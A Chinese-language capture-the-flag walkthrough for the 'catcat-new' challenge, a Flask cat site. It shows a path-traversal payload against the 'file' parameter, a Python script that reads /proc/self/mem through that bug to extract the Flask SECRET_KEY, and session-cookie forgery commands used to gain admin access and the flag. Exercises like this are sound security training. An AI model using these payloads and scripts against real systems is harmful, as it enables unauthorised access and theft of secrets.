首先进入环境,这是一个介绍猫的网站:
网站的URL没有发现问题,使用dirsearch对网站进行扫描,看是否有可以访问的窗口:
发现 /admin 可以访问,我们尝试访问:
/admin中没有flag。我们返回初始界面,访问其中一个窗口:
发现URL使用GET请求方法上传了名为file的参数,猜想页面可能存在文件包含漏洞。
图片来源:博客园
构造payload检查是否存在文件包含漏洞:
通过回显得知存在文件包含漏洞。
通过工具Wappalyzer查询网站所使用框架:
得知Web框架为 Flask 框架,通过经验我们知道, app.py 通常为 Flask 框架中的主文件。
尝试访问 app.py 文件:
得到 app.py 中的代码,但是代码格式不易读,我们编写代码修改格式:
#需要格式化的代码 code_str = '''import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n\n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n\n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n\n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)''' # 按行分割字符串 lines = code_str.split('\n') indented_lines = [line if line.strip() else '' for line in lines] # 连接并打印格式化后的代码 formatted_code = '\n'.join(indented_lines) print(formatted_code)
打印输出--> 得到标准化易读代码:
import os import uuid from flask import Flask, request, session, render_template, Markup from cat import cat # type: ignore flag = "" app = Flask( __name__, static_url_path='/', static_folder='static' ) app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" if os.path.isfile("/flag"): flag = cat("/flag") os.remove("/flag") @app.route('/', methods=['GET']) def index(): detailtxt = os.listdir('./details/') cats_list = [] for i in detailtxt: cats_list.append(i[:i.index('.')]) return render_template("index.html", cats_list=cats_list, cat=cat) @app.route('/info', methods=["GET", 'POST']) def info(): filename = "./details/" + request.args.get('file', "") start = request.args.get('start', "0") end = request.args.get('end', "0") name = request.args.get('file', "")[:request.args.get('file', "").index('.')] return render_template("detail.html", catname=name, info=cat(filename, start, end)) @app.route('/admin', methods=["GET"]) def admin_can_list_root(): if session.get('admin') == 1: return flag else: session['admin'] = 0 return "NoNoNo" if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=5637)
进行代码审计:
@app.route('/admin', methods=["GET"]) def admin_can_list_root(): if session.get('admin') == 1: return flag else: session['admin'] = 0 return "NoNoNo"
通过这段代码我们得知:session信息中 admin=1 的用户可以访问 /admin 拿到 flag,而 session 信息中 admin=0 则会显示 NoNoNo。
我们只需要伪造一个 data为 admin=1 的ssession 即可。
session 的伪造 需要 serect_key,serect_key的值可通过内存数据获取,在读取内存数据文件(proc/self/mem)之前,我们需要知道哪些内存是可以读写的,这就需要我们先通过proc/self/maps获取可读内容的映射地址。
构造 payload: ?file=../../proc/self/maps 并访问:
接着编写脚本,访问可读写的内存区域并且寻找 serect_key:
将 /proc/self/maps 中内容存储在 test.txt 中,用来执行脚本:
import re import requests maps = open('攻防世界-catcat-new/test.txt') # 打开名为 'test.txt' 的文件并赋值给变量 maps b = maps.read() # 读取文件内容并赋值给变量 b lst = b.split('\\n') # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。 for line in lst: # 遍历列表 lst 中的每一行内容 if 'rw' in line: # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写 addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line) # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中 start = int(addr.group(1), 16) # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 start end = int(addr.group(2), 16) # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 end print(start, end) # 打印起始地址和结束地址 # 构造请求URL,用于读取 /proc/self/mem 文件的特定区域 url = f"http://61.147.171.105:52968/info?file=../../../proc/self/mem&start={start}&end={end}" # 发送 GET 请求并获取响应 response = requests.get(url) # 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEY secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text) # 如果找到了 SECRET_KEY,则打印并结束循环 if secret_key: print(secret_key) break
执行脚本,输出如图所示:
拿到 serect_key 之后,开始着手伪造 session:
我们需要用到一款在Flask框架中伪造session的工具:Flask-session-cookie-manager:
GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder
命令语句:
解密:
python flask_session_cookie_manager3.decode -s "serect_key" -c "session"(session通过抓包获取)。
加密:
python flask_session_cookie_manager3.encode -s "serect_key" -t "data" (data为想要修改的数据)。
抓包获取session:
解密session:
经过代码审计,我们得知若想要得到flag,admin必须等于1。
我们将data赋值 {admin=1} 来伪造一个新的 session:
拿到伪造的新的session:
在Burpsuite中修改session的值并进行放包:
拿到flag。